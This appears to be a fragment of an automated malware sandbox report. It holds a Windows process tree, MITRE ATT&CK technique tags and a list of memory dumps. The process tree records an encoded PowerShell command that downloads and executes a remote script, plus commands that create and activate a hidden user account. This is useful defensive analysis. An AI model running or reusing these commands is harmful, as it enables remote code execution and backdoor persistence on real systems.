PID:2972
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:3968

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1256
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:1300

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2848
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4076

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
1⤵
PID:1188
- C:\Windows\system32\net.exe
  net user wgautilacc 111213
  2⤵
  PID:2172
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 111213
    3⤵
    PID:2848
- C:\Windows\system32\net.exe
  net user wgautilacc /active:yes
  2⤵
  PID:3472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc /active:yes
    3⤵
    PID:188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1736-276-0x000002779E386000-0x000002779E388000-memory.dmp

Filesize
8KB

Download
memory/1736-273-0x000002779E383000-0x000002779E385000-memory.dmp

Filesize
8KB

Download
memory/1736-272-0x000002779E380000-0x000002779E382000-memory.dmp

Filesize
8KB

Download
memory/1736-291-0x000002779E388000-0x000002779E38A000-memory.dmp

Filesize
8KB

Download
memory/2916-127-0x000001E5C7E10000-0x000001E5C7E11000-memory.dmp

Filesize
4KB

Download
memory/2916-130-0x000001E5C8000000-0x000001E5C8001000-memory.dmp

Filesize
4KB

Download
memory/2916-136-0x000001E5C7E76000-0x000001E5C7E78000-memory.dmp

Filesize
8KB

Download
memory/2916-144-0x000001E5C7F80000-0x000001E5C7F81000-memory.dmp

Filesize
4KB

Download
memory/2916-126-0x000001E5C7E73000-0x000001E5C7E75000-memory.dmp

Filesize
8KB

Download
memory/2916-125-0x000001E5C7E70000-0x000001E5C7E72000-memory.dmp

Filesize
8KB

Download
memory/2916-150-0x000001E5C8560000-0x000001E5C8561000-memory.dmp

Filesize
4KB

Download
memory/2916-151-0x000001E5C7E78000-0x000001E5C7E79000-memory.dmp

Filesize
4KB

Download
memory/2916-152-0x000001E5C88F0000-0x000001E5C88F1000-memory.dmp

Filesize
4KB

Download
memory/3128-118-0x00000126E87D5000-0x00000126E87D6000-memory.dmp

Filesize
4KB

Download
memory/3128-115-0x00000126E87D0000-0x00000126E87D2000-memory.dmp

Filesize
8KB

Download
memory/3128-114-0x00000126E93E0000-0x00000126E9800000-memory.dmp

Filesize
4.1MB

Download
memory/3128-119-0x00000126E87D6000-0x00000126E87D7000-memory.dmp

Filesize
4KB

Download
memory/3128-117-0x00000126E87D3000-0x00000126E87D5000-memory.dmp

Filesize
8KB

Download
memory/3756-271-0x000001E6BBF78000-0x000001E6BBF7A000-memory.dmp

Filesize
8KB

Download
memory/3756-235-0x000001E6BBF76000-0x000001E6BBF78000-memory.dmp

Filesize
8KB

Download
memory/3756-210-0x000001E6BBF73000-0x000001E6BBF75000-memory.dmp

Filesize
8KB

Download
memory/3756-209-0x000001E6BBF70000-0x000001E6BBF72000-memory.dmp

Filesize
8KB

Download
memory/3836-172-0x000001E1FE916000-0x000001E1FE918000-memory.dmp

Filesize
8KB

Download
memory/3836-168-0x000001E1FE910000-0x000001E1FE912000-memory.dmp

Filesize
8KB

Download
memory/3836-169-0x000001E1FE913000-0x000001E1FE915000-memory.dmp

Filesize
8KB

Download
memory/3836-208-0x000001E1FE918000-0x000001E1FE91A000-memory.dmp

Filesize
8KB

Download
memory/4076-383-0x0000025276E03000-0x0000025276E05000-memory.dmp

Filesize
8KB

Download
memory/4076-382-0x0000025276E00000-0x0000025276E02000-memory.dmp

Filesize
8KB

Download
memory/4076-384-0x0000025276E06000-0x0000025276E08000-memory.dmp

Filesize
8KB

Download
memory/4076-435-0x0000025276E08000-0x0000025276E09000-memory.dmp

Filesize
4KB

Download